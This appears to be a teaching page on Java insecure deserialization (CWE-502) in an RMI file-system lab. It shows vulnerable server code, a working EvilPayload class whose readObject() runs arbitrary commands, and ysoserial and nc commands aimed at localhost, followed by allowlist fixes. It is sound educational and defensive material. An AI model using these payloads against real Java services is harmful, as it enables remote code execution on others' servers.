Skip to main content

Vulnerability 1: Insecure Object Deserialization (CWE-502)

OWASP A08:2021 — Software and Data Integrity Failures
Severity: Critical — Remote Code Execution


What Is the Vulnerability?

Java's ObjectInputStream.readObject() can instantiate any class on the JVM's classpath as a side effect of deserialization. If the classpath contains gadget chains (sequences of classes from common libraries like Commons Collections, Spring, or Groovy), an attacker can craft a byte stream that, when deserialized, executes arbitrary shell commands.

In the vulnerable version, the server accepts any Serializable object from the network with no whitelist. The processRequest() method receives a deserialized object — but the damage is already done before the method body runs.

The Execution Timeline

The critical insight: deserialization happens before the method body. By the time the server realizes the object isn't a FileRequest, the attacker's code has already executed.

Vulnerable Code

File: vulnerable/server/ReplicaNode.java

// VULNERABILITY 1: No ObjectInputFilter — any class in the JVM classpath
// can be deserialized. If the classpath contains gadget chains (from
// Commons Collections, Spring, etc.), the attacker achieves Remote Code
// Execution during the readObject() call.

@Override
public String processRequest(Serializable request) throws RemoteException {
// 'request' has ALREADY been deserialized by the RMI layer.
// If the attacker sent an EvilPayload instead of FileRequest,
// EvilPayload.readObject() has ALREADY run by this point.

// This cast fails, but it's too late:
FileRequest fr = (FileRequest) request;
return dispatchOperation(fr);
}

Attack Demo

Using the Built-in Attacker

cd vulnerable
compile.bat
start_node.bat 1
start_node.bat 2
start_node.bat 3

# Run the deserialization attack
java -cp out attacker.Attacker1_Deserialization

Expected result: The server creates a file called PWNED on the server's machine. The attacker achieved arbitrary file creation through RMI.

How the Attacker Works

// Attacker1_Deserialization.java
public class Attacker1_Deserialization {
public static void main(String[] args) {
// Connect to the vulnerable server (plain TCP, no TLS)
FileSystemService service = (FileSystemService) Naming.lookup("//localhost:5001/FileSystemService");

// Create a malicious payload with a weaponized readObject()
EvilPayload payload = new EvilPayload("echo PWNED > PWNED.txt");

// Send it — the server deserializes it, and readObject() fires
service.processRequest(payload);

System.out.println("Payload sent. Check the server for PWNED.txt");
}
}

The Payload

// EvilPayload.java
public class EvilPayload implements Serializable {
private final String command;

public EvilPayload(String command) {
this.command = command;
}

// This method is called AUTOMATICALLY by ObjectInputStream during deserialization
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // Read the fields normally

// Execute arbitrary command on the server
Runtime.getRuntime().exec(command);
}
}

Using ysoserial (Real-World Attack)

In a real attack, the attacker doesn't need their own EvilPayload on the server's classpath. They use existing gadget chains:

# Generate a CommonsCollections6 payload that creates /tmp/pwned
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > payload.bin

# Send it to the vulnerable RMI server
cat payload.bin | nc localhost 5001

This succeeds because CommonsCollections is a widely-used library and its classes are often on the classpath.

The Fix

File: secured/server/ReplicaNode.java and util/SerializationValidator.java

Step 1 — JDK Serialization Filter

// In the server's main() method, before accepting RMI connections:
System.setProperty("jdk.serialFilter",
"common.FileRequest;common.MulticastMessage;common.NodeInfo;!*");
// ↑ allow these classes ↑ deny everything else

The JDK's built-in jdk.serialFilter property rejects disallowed classes before readObject() is called on them. This is the JVM-level defense.

Step 2 — Custom Validation Stream

// SerializationValidator.java
public class SerializationValidator extends ObjectInputStream {

private static final Set<String> ALLOWED_CLASSES = Set.of(
"com.dfs.common.FileOperation",
"com.dfs.common.OperationResult",
"com.dfs.common.UserCredentials",
"com.dfs.common.ClockMessage",
"java.lang.String",
"java.util.ArrayList",
"[B" // byte array
);

@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException(
"Blocked deserialization of untrusted class: " + desc.getName()
);
}
return super.resolveClass(desc);
}
}

When RMI tries to deserialize an incoming stream, resolveClass is called for every class referenced in the stream. If the class isn't on the whitelist, InvalidClassException is thrown before any object of that class is instantiated.

Step 3 — Combined Defense

In the secured version, both defenses are active:

  1. jdk.serialFilter — JVM-level filter (catches everything)
  2. SerializationValidator — Application-level filter (catches anything that slips past #1)

This is defense in depth — even if one layer fails, the other is still active.

Why This Vulnerability Is Critical

PropertyImpact
ExploitabilityTrivial — any network-accessible attacker can send a malicious payload
ImpactComplete — Remote Code Execution means the attacker owns the server
PrerequisitesNone — no authentication needed (RMI deserialization happens before method dispatch)
DetectionDifficult — the exploit happens during deserialization, before any logging
CVSS9.8 (Critical)

Next: → Vulnerability 2 — Remote Class Injection